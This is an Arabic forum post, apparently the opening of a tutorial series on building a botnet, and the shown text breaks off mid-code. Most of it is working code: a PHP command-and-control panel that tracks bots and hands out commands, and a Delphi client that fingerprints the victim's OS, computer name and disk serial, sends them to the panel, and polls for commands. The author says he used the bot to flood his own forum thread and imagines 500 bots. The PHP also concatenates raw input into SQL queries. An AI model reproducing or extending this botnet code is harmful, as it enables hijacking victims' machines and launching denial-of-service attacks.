السلام عليكم
ساحاول في هذا الموضوع بناء بوت نت من الاول الى الاخير ( راح نتعلم معاكم )
وساقوم بتطويره ان شاء الله
اولا سنبدا ب Html
هذا الشكل الاولي للموقع
وقبل البدا هذه مواقع تحتوي على رسورس لمشروعنا
مواقع مفيدة
PHP كود :
Partie 3 - Mise en page du site http://www.siteduzero.com/informatique/tutoriels/apprenez-a-creer-votre-site-web-avec-html5-et-css3
تم الانتهاء من برمجة html الان الانتقال الى لغة php كون صفحتنا ديناميكية
اذن لمعرفة اذا تم ارسال امر وذلك باستخدام الدلفي حيث الملون بالاصفر هو معرف فريد mac adrs او hdd سريال او ...
PHP كود :
function get_command($id){ $select = mysql_query("select * from users where `idvar`= '".$id."'"); $row_users = mysql_fetch_assoc($select); return $row_users['comnd']; }
function _online(){ return mysql_result(mysql_query("select count(*) from users where status = 'Online' "),0);} function _Offline(){ return mysql_result(mysql_query("select count(*) from users where status = 'Offline' "),0);} function _total(){ return mysql_result(mysql_query("select count(*) from users"),0);}
تحديث الحالة
PHP كود :
function updatstatus($stat,$hdd){mysql_query("UPDATE `users` SET `status`='$stat' WHERE idvar = '$hdd'");}
ألسلام عليكم
اهم الاضافات
المعلومات المرسلة اصبحت حقيقية وليست وهمية ( اسم المستخدم ونوع الويندوز والبلاتفورم 32/64 ..)
PHP كود :
function osver: string; begin result := 'Unknown (Windows ' + IntToStr(Win32MajorVersion) + '.' + IntToStr(Win32MinorVersion) + ')'; case Win32MajorVersion of 4: case Win32MinorVersion of 0: result := 'Windows 95'; 10: result := 'Windows 98'; 90: result := 'Windows ME'; end; 5: case Win32MinorVersion of 0: result := 'Windows 2000'; 1: result := 'Windows XP'; end; 6: case Win32MinorVersion of 0: result := 'Windows Vista'; 1: result := 'Windows 7'; 2: result := 'Windows 8'; end; end; end;
function IsWin64: Boolean; type TIsWow64Process = function(AHandle:THandle; var AIsWow64: BOOL): BOOL; stdcall; var vKernel32Handle: DWORD; vIsWow64Process: TIsWow64Process; vIsWow64: BOOL; begin Result := False; vKernel32Handle := LoadLibrary('kernel32.dll'); if (vKernel32Handle = 0) then Exit; try @vIsWow64Process := GetProcAddress(vKernel32Handle, 'IsWow64Process'); if not Assigned(vIsWow64Process) then Exit; vIsWow64 := False; if (vIsWow64Process(GetCurrentProcess, vIsWow64)) then Result := vIsWow64; finally FreeLibrary(vKernel32Handle); end; end;
function CNName: string; var buffer: array[0..255] of char; size: dword; begin size := 256; if GetComputerName(buffer, size) then Result := buffer else Result := '' end;
function IsWindows64:string; begin if IsWin64() then Result:='64bits' else Result:='32bits' end;
PHP كود :
p := GetUrl(settingsurl+'?add&win='+osver+'&hdd='+hdd+'&user='+CNName+'&version='+IsWindows64+'&status=Online');
تم تعديل شكل input
وبخصوص عمل البرنامج فقد قمت بالهجوم على موضوعي لذلك تجدون عدد المشاهدات كثير
هذا لا يؤثر على المنتدى لاكن تخييلوا ان عندي 500 مستخدم اخر ولهم سرعة جيدة سيحدث فرق كبير
هذه محاولة لعدم تكرار تنفيذ نفس الامر اي امر واحد فقط
PHP كود :
var Form1: TForm1; oldcmd :string; implementation
{$R *.dfm}
procedure TForm1.tmr1Timer(Sender: TObject); var cmd,nmbr,parm:string; begin cmd:=IdHTTP1.Get('http://127.0.0.1/exemple_01/funcs.php?cmnd=123456'); if not (cmd=oldcmd) then begin oldcmd:=cmd; nmbr:=Copy(cmd,0,1); parm:=Copy(cmd,3,Length(cmd)-2);